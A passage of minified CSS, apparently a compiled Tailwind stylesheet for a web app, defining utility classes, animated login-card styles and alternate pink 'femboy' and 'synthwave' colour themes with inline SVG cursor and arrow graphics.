UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif}.font-mono{font-family:var(--font-mono),"Cascadia Code","Consolas","SF Mono","Liberation Mono","Menlo",monospace}.font-sans{font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif}.text-2xl{font-size:1.5rem;line-height:2rem}.text-3xl{font-size:1.875rem;line-height:2.25rem}.text-4xl{font-size:2.25rem;line-height:2.5rem}.text-5xl{font-size:3rem;line-height:1}.text-\[10px\]{font-size:10px}.text-\[11px\]{font-size:11px}.text-\[12px\]{font-size:12px}.text-\[13px\]{font-size:13px}.text-\[14px\]{font-size:14px}.text-\[15px\]{font-size:15px}.text-\[22px\]{font-size:22px}.text-\[8px\]{font-size:8px}.text-\[9px\]{font-size:9px}.text-base{font-size:1rem;line-height:1.5rem}.text-lg{font-size:1.125rem;line-height:1.75rem}.text-sm{font-size:.875rem;line-height:1.25rem}.text-xl{font-size:1.25rem;line-height:1.75rem}.text-xs{font-size:.75rem;line-height:1rem}.font-bold{font-weight:700}.font-medium{font-weight:500}.font-semibold{font-weight:600}.uppercase{text-transform:uppercase}.lowercase{text-transform:lowercase}.capitalize{text-transform:capitalize}.tabular-nums{--tw-numeric-spacing: tabular-nums;font-variant-numeric:var(--tw-ordinal) var(--tw-slashed-zero) var(--tw-numeric-figure) var(--tw-numeric-spacing) var(--tw-numeric-fraction)}.leading-\[0\.95\]{line-height:.95}.leading-\[1\.8\]{line-height:1.8}.leading-\[1\.9\]{line-height:1.9}.leading-none{line-height:1}.leading-relaxed{line-height:1.625}.leading-tight{line-height:1.25}.tracking-\[0\.15em\]{letter-spacing:.15em}.tracking-\[0\.2em\]{letter-spacing:.2em}.tracking-\[0\.3em\]{letter-spacing:.3em}.tracking-tight{letter-spacing:-.025em}.tracking-wide{letter-spacing:.025em}.tracking-wider{letter-spacing:.05em}.tracking-widest{letter-spacing:.1em}.text-\[\#00F0FF\]{--tw-text-opacity: 1;color:rgb(0 240 255 / var(--tw-text-opacity, 1))}.text-\[\#04040a\]{--tw-text-opacity: 1;color:rgb(4 4 10 / var(--tw-text-opacity, 1))}.text-\[\#3a3a44\]{--tw-text-opacity: 1;color:rgb(58 58 68 / var(--tw-text-opacity, 1))}.text-\[\#4a4a54\]{--tw-text-opacity: 1;color:rgb(74 74 84 / var(--tw-text-opacity, 1))}.text-\[\#b0b0b8\]{--tw-text-opacity: 1;color:rgb(176 176 184 / var(--tw-text-opacity, 1))}.text-\[\#ef4444\]\/80{color:#ef4444cc}.text-\[\#ff69b4\]{--tw-text-opacity: 1;color:rgb(255 105 180 / var(--tw-text-opacity, 1))}.text-amber-400{--tw-text-opacity: 1;color:rgb(251 191 36 / var(--tw-text-opacity, 1))}.text-amber-400\/60{color:#fbbf2499}.text-amber-400\/80{color:#fbbf24cc}.text-amber-400\/90{color:#fbbf24e6}.text-black{--tw-text-opacity: 1;color:rgb(0 0 0 / var(--tw-text-opacity, 1))}.text-blue-300{--tw-text-opacity: 1;color:rgb(147 197 253 / var(--tw-text-opacity, 1))}.text-blue-400{--tw-text-opacity: 1;color:rgb(96 165 250 / var(--tw-text-opacity, 1))}.text-cyan-300{--tw-text-opacity: 1;color:rgb(103 232 249 / var(--tw-text-opacity, 1))}.text-cyan-400{--tw-text-opacity: 1;color:rgb(34 211 238 / var(--tw-text-opacity, 1))}.text-emerald-400{--tw-text-opacity: 1;color:rgb(52 211 153 / var(--tw-text-opacity, 1))}.text-emerald-400\/60{color:#34d39999}.text-emerald-400\/70{color:#34d399b3}.text-emerald-400\/80{color:#34d399cc}.text-emerald-400\/90{color:#34d399e6}.text-gray-300{--tw-text-opacity: 1;color:rgb(209 213 219 / var(--tw-text-opacity, 1))}.text-orange-300{--tw-text-opacity: 1;color:rgb(253 186 116 / var(--tw-text-opacity, 1))}.text-orange-400{--tw-text-opacity: 1;color:rgb(251 146 60 / var(--tw-text-opacity, 1))}.text-purple-400{--tw-text-opacity: 1;color:rgb(192 132 252 / var(--tw-text-opacity, 1))}.text-red-300{--tw-text-opacity: 1;color:rgb(252 165 165 / var(--tw-text-opacity, 1))}.text-red-400{--tw-text-opacity: 1;color:rgb(248 113 113 / var(--tw-text-opacity, 1))}.text-red-400\/60{color:#f8717199}.text-red-400\/70{color:#f87171b3}.text-red-400\/80{color:#f87171cc}.text-transparent{color:transparent}.text-white{--tw-text-opacity: 1;color:rgb(255 255 255 / var(--tw-text-opacity, 1))}.text-yellow-300{--tw-text-opacity: 1;color:rgb(253 224 71 / var(--tw-text-opacity, 1))}.text-yellow-400{--tw-text-opacity: 1;color:rgb(250 204 21 / var(--tw-text-opacity, 1))}.text-zerin-accent{--tw-text-opacity: 1;color:rgb(6 182 212 / var(--tw-text-opacity, 1))}.text-zerin-accent\/40{color:#06b6d466}.text-zerin-accent\/50{color:#06b6d480}.text-zerin-accent\/60{color:#06b6d499}.text-zerin-accent\/70{color:#06b6d4b3}.text-zerin-accent\/80{color:#06b6d4cc}.text-zerin-danger{--tw-text-opacity: 1;color:rgb(239 68 68 / var(--tw-text-opacity, 1))}.text-zerin-text{--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.text-zerin-text-dim{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.text-zerin-text-dim\/80{color:#a1a1aacc}.text-zerin-text-muted{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.text-zerin-text-muted\/25{color:#52525b40}.text-zerin-text-muted\/30{color:#52525b4d}.text-zerin-text-muted\/40{color:#52525b66}.text-zerin-text-muted\/50{color:#52525b80}.text-zerin-text-muted\/60{color:#52525b99}.text-zerin-text-muted\/80{color:#52525bcc}.text-zinc-300{--tw-text-opacity: 1;color:rgb(212 212 216 / var(--tw-text-opacity, 1))}.text-zinc-400{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.text-zinc-500{--tw-text-opacity: 1;color:rgb(113 113 122 / var(--tw-text-opacity, 1))}.text-zinc-600{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.text-zinc-700{--tw-text-opacity: 1;color:rgb(63 63 70 / var(--tw-text-opacity, 1))}.underline{text-decoration-line:underline}.line-through{text-decoration-line:line-through}.decoration-zerin-danger\/60{text-decoration-color:#ef444499}.underline-offset-2{text-underline-offset:2px}.placeholder-\[\#3a3a44\]::-moz-placeholder{--tw-placeholder-opacity: 1;color:rgb(58 58 68 / var(--tw-placeholder-opacity, 1))}.placeholder-\[\#3a3a44\]::placeholder{--tw-placeholder-opacity: 1;color:rgb(58 58 68 / var(--tw-placeholder-opacity, 1))}.placeholder-zerin-text-muted::-moz-placeholder{--tw-placeholder-opacity: 1;color:rgb(82 82 91 / var(--tw-placeholder-opacity, 1))}.placeholder-zerin-text-muted::placeholder{--tw-placeholder-opacity: 1;color:rgb(82 82 91 / var(--tw-placeholder-opacity, 1))}.placeholder-zerin-text-muted\/40::-moz-placeholder{color:#52525b66}.placeholder-zerin-text-muted\/40::placeholder{color:#52525b66}.accent-amber-500{accent-color:#f59e0b}.accent-zerin-accent{accent-color:#06B6D4}.opacity-0{opacity:0}.opacity-100{opacity:1}.opacity-25{opacity:.25}.opacity-30{opacity:.3}.opacity-40{opacity:.4}.opacity-50{opacity:.5}.opacity-60{opacity:.6}.opacity-75{opacity:.75}.opacity-90{opacity:.9}.opacity-\[0\.03\]{opacity:.03}.shadow-2xl{--tw-shadow: 0 25px 50px -12px rgb(0 0 0 / .25);--tw-shadow-colored: 0 25px 50px -12px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-lg{--tw-shadow: 0 10px 15px -3px rgb(0 0 0 / .1), 0 4px 6px -4px rgb(0 0 0 / .1);--tw-shadow-colored: 0 10px 15px -3px var(--tw-shadow-color), 0 4px 6px -4px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-xl{--tw-shadow: 0 20px 25px -5px rgb(0 0 0 / .1), 0 8px 10px -6px rgb(0 0 0 / .1);--tw-shadow-colored: 0 20px 25px -5px var(--tw-shadow-color), 0 8px 10px -6px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-black\/40{--tw-shadow-color: rgb(0 0 0 / .4);--tw-shadow: var(--tw-shadow-colored)}.shadow-black\/60{--tw-shadow-color: rgb(0 0 0 / .6);--tw-shadow: var(--tw-shadow-colored)}.outline-none{outline:2px solid transparent;outline-offset:2px}.ring{--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(3px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000)}.blur{--tw-blur: blur(8px);filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.blur-sm{--tw-blur: blur(4px);filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.drop-shadow-\[0_0_40px_rgba\(6\,182\,212\,0\.4\)\]{--tw-drop-shadow: drop-shadow(0 0 40px rgba(6,182,212,.4));filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.invert{--tw-invert: invert(100%);filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.filter{filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.backdrop-blur-sm{--tw-backdrop-blur: blur(4px);-webkit-backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia);backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia)}.backdrop-blur-xl{--tw-backdrop-blur: blur(24px);-webkit-backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia);backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia)}.transition-all{transition-property:all;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-colors{transition-property:color,background-color,border-color,text-decoration-color,fill,stroke;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-opacity{transition-property:opacity;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-transform{transition-property:transform;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.duration-100{transition-duration:.1s}.duration-1000{transition-duration:1s}.duration-150{transition-duration:.15s}.duration-200{transition-duration:.2s}.duration-300{transition-duration:.3s}.duration-500{transition-duration:.5s}.duration-700{transition-duration:.7s}.duration-75{transition-duration:75ms}.ease-in-out{transition-timing-function:cubic-bezier(.4,0,.2,1)}.ease-out{transition-timing-function:cubic-bezier(0,0,.2,1)}.\[appearance\:textfield\]{-webkit-appearance:textfield;-moz-appearance:textfield;appearance:textfield}.\[color-scheme\:dark\]{color-scheme:dark}*{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1));font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif;--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.femboy-theme body{background-color:var(--fem-bg);color:var(--fem-text)}.synthwave-theme body{background-color:var(--synth-bg);color:var(--synth-text)}.synthwave-theme body.font-display{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff,#b026ff);-webkit-background-clip:text;-webkit-text-fill-color:transparent;background-clip:text;filter:drop-shadow(0 0 8px rgba(255,45,149,.4))}body.app-layout{overflow:hidden}#root{height:100vh;width:100vw}::-moz-selection{background:#06b6d44d;color:#fafafa}::selection{background:#06b6d44d;color:#fafafa}.custom-scrollbar::-webkit-scrollbar{width:6px;height:6px}.custom-scrollbar::-webkit-scrollbar-track{background:transparent}.custom-scrollbar::-webkit-scrollbar-thumb{background:#27272a;border-radius:3px}.custom-scrollbar::-webkit-scrollbar-thumb:hover{background:#3f3f46}.custom-scrollbar{scrollbar-width:thin;scrollbar-color:#27272A transparent}:focus-visible{outline:2px solid rgba(6,182,212,.5);outline-offset:2px}.form-input{width:100%;border-radius:.125rem;border-width:1px;--tw-border-opacity: 1;border-color:rgb(31 31 35 / var(--tw-border-opacity, 1));--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1));padding:.625rem .75rem;font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif;font-size:.875rem;line-height:1.25rem;--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1));transition-property:all;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.femboy-theme .form-input{background-color:var(--fem-bg);color:var(--fem-text);border-color:var(--fem-border)}.femboy-theme .form-input:focus{border-color:var(--fem-accent);--tw-ring-color: rgba(255, 105, 180, .3)}.synthwave-theme .form-input{background-color:var(--synth-bg);color:var(--synth-text);border-color:var(--synth-border)}.synthwave-theme .form-input:focus{border-color:var(--synth-cyan);--tw-ring-color: rgba(0, 240, 255, .3)}.synthwave-theme .form-input{box-shadow:inset 0 0 0 .5px #ff2d950d}.synthwave-theme .font-display.form-input{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff,#b026ff);-webkit-background-clip:text;-webkit-text-fill-color:transparent;background-clip:text;filter:drop-shadow(0 0 8px rgba(255,45,149,.4))}.form-input:focus{--tw-border-opacity: 1;border-color:rgb(6 182 212 / var(--tw-border-opacity, 1));outline:2px solid transparent;outline-offset:2px;--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000);--tw-ring-color: rgb(6 182 212 / .3)}.form-input::-moz-placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.form-input::placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.femboy-theme .form-input::-moz-placeholder{color:var(--fem-text-muted)}.femboy-theme .form-input::placeholder{color:var(--fem-text-muted)}.synthwave-theme .form-input::-moz-placeholder{color:var(--synth-text-muted)}.synthwave-theme .form-input::placeholder{color:var(--synth-text-muted)}select.form-input{cursor:pointer;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='none' viewBox='0 0 20 20'%3E%3Cpath stroke='%2352525B' stroke-linecap='round' stroke-linejoin='round' stroke-width='1.5' d='M6 8l4 4 4-4'/%3E%3C/svg%3E");background-position:right .5rem center;background-repeat:no-repeat;background-size:1.5em 1.5em;padding-right:2.5rem;-webkit-appearance:none;-moz-appearance:none;appearance:none}.animate-slide-up,.animate-fade-in{animation-fill-mode:forwards}@keyframes landingScanBar{0%{width:0%}to{width:100%}}.landing-scan-bar{animation:landingScanBar 2s cubic-bezier(.4,0,.2,1) forwards}@keyframes landingScanRowIn{0%{opacity:0;transform:translate(-8px)}to{opacity:1;transform:translate(0)}}.landing-scan-row{opacity:0;animation:landingScanRowIn .3s ease-out forwards}@keyframes ctxSubmenuIn{0%{opacity:0;transform:translate(-4px)}to{opacity:1;transform:translate(0)}}.ctx-submenu-in{animation:ctxSubmenuIn .12s ease-out}a,button{transition-property:color,background-color,border-color,box-shadow,opacity;transition-duration:.15s;transition-timing-function:cubic-bezier(.4,0,.2,1)}@keyframes authReveal{0%{opacity:0;transform:translateY(16px)}to{opacity:1;transform:translateY(0)}}.auth-stagger-1,.auth-stagger-2,.auth-stagger-3,.auth-stagger-4,.auth-stagger-5,.auth-stagger-6,.auth-stagger-7,.auth-stagger-8{opacity:0;animation:authReveal .5s cubic-bezier(.16,1,.3,1) forwards}.auth-stagger-1{animation-delay:0ms}.auth-stagger-2{animation-delay:.1s}.auth-stagger-3{animation-delay:.2s}.auth-stagger-4{animation-delay:.28s}.auth-stagger-5{animation-delay:.36s}.auth-stagger-6{animation-delay:.44s}.auth-stagger-7{animation-delay:.52s}.auth-stagger-8{animation-delay:.6s}@keyframes authBreathe{0%,to{transform:translateY(0)}50%{transform:translateY(-3px)}}.auth-breathe{animation:authBreathe 4s ease-in-out infinite}@keyframes authBadgeGlow{0%,to{box-shadow:0 0 4px #06b6d41a,inset 0 0 4px #06b6d40d;border-color:#06b6d44d}50%{box-shadow:0 0 12px #06b6d440,inset 0 0 8px #06b6d41a;border-color:#06b6d480}}.auth-badge-glow{animation:authBadgeGlow 3s ease-in-out infinite}.auth-card{position:relative;background:#111113;border:1px solid #1F1F23;padding:1.75rem;overflow:hidden;transition:border-color .3s ease}.auth-card:hover{border-color:#06b6d426}.auth-corner{position:absolute;width:14px;height:14px;pointer-events:none;z-index:5}.auth-corner-tl{top:-1px;left:-1px;border-top:2px solid rgba(6,182,212,.5);border-left:2px solid rgba(6,182,212,.5)}.auth-corner-tr{top:-1px;right:-1px;border-top:2px solid rgba(6,182,212,.5);border-right:2px solid rgba(6,182,212,.5)}.auth-corner-bl{bottom:-1px;left:-1px;border-bottom:2px solid rgba(6,182,212,.5);border-left:2px solid rgba(6,182,212,.5)}.auth-corner-br{bottom:-1px;right:-1px;border-bottom:2px solid rgba(6,182,212,.5);border-right:2px solid rgba(6,182,212,.5)}@keyframes authScanline{0%{top:-2px;opacity:0}5%{opacity:1}95%{opacity:1}to{top:100%;opacity:0}}.auth-scanline{position:absolute;left:0;right:0;height:1px;background:linear-gradient(90deg,transparent 0%,rgba(6,182,212,.3) 20%,rgba(6,182,212,.5) 50%,rgba(6,182,212,.3) 80%,transparent 100%);box-shadow:0 0 8px #06b6d426;z-index:4;pointer-events:none;animation:authScanline 4s ease-in-out infinite}.auth-input-wrap{position:relative}.auth-input-wrap:before{content:"";position:absolute;left:0;top:4px;bottom:4px;width:2px;background:transparent;transition:background .2s ease,box-shadow .2s ease;z-index:2;border-radius:1px}.auth-input-wrap:focus-within:before{background:#06b6d4;box-shadow:0 0 8px #06b6d466}.auth-input{width:100%;background:#09090b;border:1px solid #1F1F23;padding:.625rem .875rem .625rem 1rem;color:#fafafa;font-size:.875rem;font-family:var(--font-sans),"Segoe UI",system-ui,sans-serif;outline:none;transition:border-color .2s ease,box-shadow .2s ease,background .2s ease}.auth-input::-moz-placeholder{color:#52525b}.auth-input::placeholder{color:#52525b}.auth-input:focus{border-color:#06b6d466;box-shadow:0 0 0 3px #06b6d414,inset 0 0 12px #06b6d408;background:#0a0a0d}@keyframes authSubmitGlow{0%,to{box-shadow:0 0 12px #06b6d426,0 0 4px #06b6d41a}50%{box-shadow:0 0 20px #06b6d44d,0 0 8px #06b6d433}}.auth-submit{width:100%;position:relative;padding:.7rem 1rem;font-size:.875rem;font-weight:500;font-family:var(--font-sans),"Segoe UI",system-ui,sans-serif;color:#fff;background:linear-gradient(135deg,#0891b2,#06b6d4,#22d3ee);background-size:200% 200%;border:none;cursor:pointer;overflow:hidden;animation:authSubmitGlow 3s ease-in-out infinite;transition:filter .2s ease,transform .15s ease}.auth-submit:hover:not(:disabled){filter:brightness(1.1);transform:translateY(-1px)}.auth-submit:active:not(:disabled){transform:translateY(0)}.auth-submit:disabled{opacity:.5;cursor:not-allowed;animation:none}.auth-submit:after{content:"";position:absolute;top:0;left:-100%;width:100%;height:100%;background:linear-gradient(90deg,transparent 0%,rgba(255,255,255,.08) 50%,transparent 100%);transition:left .5s ease;z-index:1}.auth-submit:hover:after{left:100%}@keyframes authErrorIn{0%{opacity:0;transform:translateY(-8px) scaleY(.95);max-height:0;padding-top:0;padding-bottom:0;margin-bottom:0}to{opacity:1;transform:translateY(0) scaleY(1);max-height:80px;padding-top:.75rem;padding-bottom:.75rem;margin-bottom:0}}.auth-error{display:flex;align-items:center;gap:.75rem;background:#ef44440f;border:1px solid rgba(239,68,68,.2);color:#ef4444;font-size:.8125rem;font-family:var(--font-sans),"Segoe UI",system-ui,sans-serif;padding:.75rem 1rem;animation:authErrorIn .35s cubic-bezier(.16,1,.3,1) forwards;overflow:hidden}.auth-error-bar{flex-shrink:0;width:3px;height:16px;background:#ef4444;border-radius:1px;box-shadow:0 0 6px #ef444466}@keyframes authStatusPulse{0%,to{opacity:1;box-shadow:0 0 4px #06b6d466}50%{opacity:.5;box-shadow:0 0 8px #06b6d499}}.auth-status-dot{display:inline-block;width:5px;height:5px;border-radius:50%;background:#06b6d4;animation:authStatusPulse 2s ease-in-out infinite}.femboy-theme{--fem-bg: #fff5f8;--fem-bg-alt: #fff0f5;--fem-panel: #ffe8f1;--fem-panel-hover: #ffd6e7;--fem-border: #ffb8d4;--fem-border-hover: #ff9ec4;--fem-accent: #ff69b4;--fem-accent-hover: #ff4da6;--fem-accent-dim: #e84393;--fem-text: #3d0a22;--fem-text-dim: #7a2855;--fem-text-muted: #c48aa6}.femboy-theme,.femboy-theme *{cursor:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='28' height='32' viewBox='0 0 28 32'%3E%3Cellipse cx='14' cy='22' rx='8' ry='7' fill='%23ff69b4'/%3E%3Ccircle cx='6' cy='10' r='3.8' fill='%23ff69b4'/%3E%3Ccircle cx='14' cy='6' r='3.8' fill='%23ff69b4'/%3E%3Ccircle cx='22' cy='10' r='3.8' fill='%23ff69b4'/%3E%3Cellipse cx='14' cy='22' rx='5' ry='4.5' fill='%23ff1493' opacity='.4'/%3E%3Ccircle cx='6' cy='10' r='2' fill='%23ff1493' opacity='.4'/%3E%3Ccircle cx='14' cy='6' r='2' fill='%23ff1493' opacity='.4'/%3E%3Ccircle cx='22' cy='10' r='2' fill='%23ff1493' opacity='.4'/%3E%3C/svg%3E") 14 16,auto!important}.femboy-theme ::-moz-selection{background:#ff69b44d!important;color:#fff!important}.femboy-theme ::selection{background:#ff69b44d!important;color:#fff!important}.femboy-theme :focus-visible{outline-color:#ff69b480!important}.femboy-theme body{background-color:var(--fem-bg)!important;color:var(--fem-text)!important}.femboy-theme .bg-zerin-bg{background-color:var(--fem-bg)!important}.femboy-theme .bg-zerin-bg-alt{background-color:var(--fem-bg-alt)!important}.femboy-theme .bg-zerin-panel{background-color:var(--fem-panel)!important}.femboy-theme .bg-zerin-panel-hover,.femboy-theme .hover\:bg-zerin-panel-hover:hover{background-color:var(--fem-panel-hover)!important}.femboy-theme .bg-zerin-accent{background-color:var(--fem-accent)!important}.femboy-theme .bg-zerin-accent-hover{background-color:var(--fem-accent-hover)!important}.femboy-theme .bg-zerin-accent-dim{background-color:var(--fem-accent-dim)!important}.femboy-theme .bg-zerin-accent-muted,.femboy-theme .bg-zerin-accent-muted\/10{background-color:#ff69b41f!important}.femboy-theme .bg-zerin-danger-dim{background-color:#ff149314!important}.femboy-theme .hover\:bg-zerin-danger-dim:hover{background-color:#ff149326!important}.femboy-theme .bg-zinc-600{background-color:#dfa0bb!important}.femboy-theme .bg-zinc-700{background-color:#e8b5cc!important}.femboy-theme .bg-zinc-500{background-color:#c9a0b5!important}.femboy-theme .text-zerin-text{color:var(--fem-text)!important}.femboy-theme .text-zerin-text-dim{color:var(--fem-text-dim)!important}.femboy-theme .text-zerin-text-muted{color:var(--fem-text-muted)!important}.femboy-theme .text-zerin-accent{color:var(--fem-accent)!important}.femboy-theme .text-zerin-accent-hover{color:var(--fem-accent-hover)!important}.femboy-theme .text-zerin-accent-dim{color:var(--fem-accent-dim)!important}.femboy-theme .text-zerin-danger{color:#e8195e!important}.femboy-theme .text-zinc-400{color:#9a6080!important}.femboy-theme .text-zinc-500{color:#b07898!important}.femboy-theme .text-zinc-300{color:#7a2855!important}.femboy-theme .hover\:text-zerin-text:hover{color:var(--fem-text)!important}.femboy-theme .hover\:text-zerin-text-dim:hover{color:var(--fem-text-dim)!important}.femboy-theme .hover\:text-zerin-accent:hover{color:var(--fem-accent)!important}.femboy-theme .hover\:text-zerin-danger:hover{color:#ff1493!important}.femboy-theme .group:hover .group-hover\:text-zerin-accent{color:var(--fem-accent)!important}.femboy-theme .group:hover .group-hover\:text-zerin-text-dim{color:var(--fem-text-dim)!important}.femboy-theme .border-zerin-panel-border{border-color:var(--fem-border)!important}.femboy-theme .border-zerin-panel-border-hover,.femboy-theme .hover\:border-zerin-panel-border-hover:hover{border-color:var(--fem-border-hover)!important}.femboy-theme .border-zerin-accent{border-color:var(--fem-accent)!important}.femboy-theme .border-zerin-accent\/20,.femboy-theme .border-zerin-accent\/25{border-color:#ff69b438!important}.femboy-theme .hover\:border-zerin-accent\/30:hover{border-color:#ff69b44d!important}.femboy-theme .border-zinc-700{border-color:#f0c0d8!important}.femboy-theme .border-zinc-800{border-color:#f5d0e2!important}.femboy-theme .divide-zerin-panel-border>:not([hidden])~:not([hidden]){border-color:var(--fem-border)!important}.femboy-theme .focus\:border-zerin-accent:focus{border-color:var(--fem-accent)!important}.femboy-theme .focus\:ring-zerin-accent\/30:focus{--tw-ring-color: rgba(255, 105, 180, .3) !important}.femboy-theme .custom-scrollbar::-webkit-scrollbar-thumb{background:#ffb8d4}.femboy-theme .custom-scrollbar::-webkit-scrollbar-thumb:hover{background:#ff9ec4}.femboy-theme .custom-scrollbar{scrollbar-color:#ffb8d4 transparent}.femboy-theme .form-input{background-color:var(--fem-bg)!important;border-color:var(--fem-border)!important;color:var(--fem-text)!important}.femboy-theme .form-input:focus{border-color:var(--fem-accent)!important;--tw-ring-color: rgba(255, 105, 180, .3) !important}.femboy-theme .form-input::-moz-placeholder{color:var(--fem-text-muted)!important}.femboy-theme .form-input::placeholder{color:var(--fem-text-muted)!important}.femboy-theme .auth-card{background:var(--fem-panel)!important;border-color:var(--fem-border)!important}.femboy-theme .auth-card:hover{border-color:#ff69b426!important}.femboy-theme .auth-corner-tl,.femboy-theme .auth-corner-tr,.femboy-theme .auth-corner-bl,.femboy-theme .auth-corner-br{border-color:#ff69b480!important}.femboy-theme .auth-scanline{background:linear-gradient(90deg,transparent 0%,rgba(255,105,180,.3) 20%,rgba(255,105,180,.5) 50%,rgba(255,105,180,.3) 80%,transparent 100%)!important;box-shadow:0 0 8px #ff69b426!important}.femboy-theme .auth-input{background:var(--fem-bg)!important;border-color:var(--fem-border)!important;color:var(--fem-text)!important}.femboy-theme .auth-input::-moz-placeholder{color:var(--fem-text-muted)!important}.femboy-theme .auth-input::placeholder{color:var(--fem-text-muted)!important}.femboy-theme .auth-input:focus{border-color:#ff69b4!important;box-shadow:0 0 0 3px #ff69b426,inset 0 0 12px #ff69b40d!important}.femboy-theme .auth-input-wrap:focus-within:before{background:var(--fem-accent)!important;box-shadow:0 0 8px #ff69b466!important}.femboy-theme .auth-submit{background:linear-gradient(135deg,#d4508f,#ff69b4,#ff8cc8)!important}.femboy-theme .auth-status-dot{background:var(--fem-accent)!important}.femboy-theme .auth-badge-glow{box-shadow:0 0 4px #ff69b41a,inset 0 0 4px #ff69b40d!important;border-color:#ff69b44d!important}.femboy-theme nav a{transition:transform .2s cubic-bezier(.34,1.56,.64,1),color .15s,background-color .15s!important}.femboy-theme nav a:hover{transform:translate(3px) scale(1.02)}.femboy-logo-glow{text-shadow:0 0 10px rgba(255,105,180,.4),0 0 20px rgba(255,105,180,.15)}.femboy-ear{position:absolute;width:0;height:0;border-left:9px solid transparent;border-right:9px solid transparent;border-bottom:16px solid #ff69b4;filter:drop-shadow(0 0 6px rgba(255,105,180,.5));z-index:10}.femboy-ear:after{content:"";position:absolute;top:4px;left:-5px;width:0;height:0;border-left:5px solid transparent;border-right:5px solid transparent;border-bottom:9px solid #ff1493}.femboy-ear-left{top:-14px;left:-2px;transform:rotate(-12deg)}.femboy-ear-right{top:-14px;left:32px;transform:rotate(12deg)}@keyframes floatPaw{0%{transform:translateY(0) rotate(0) 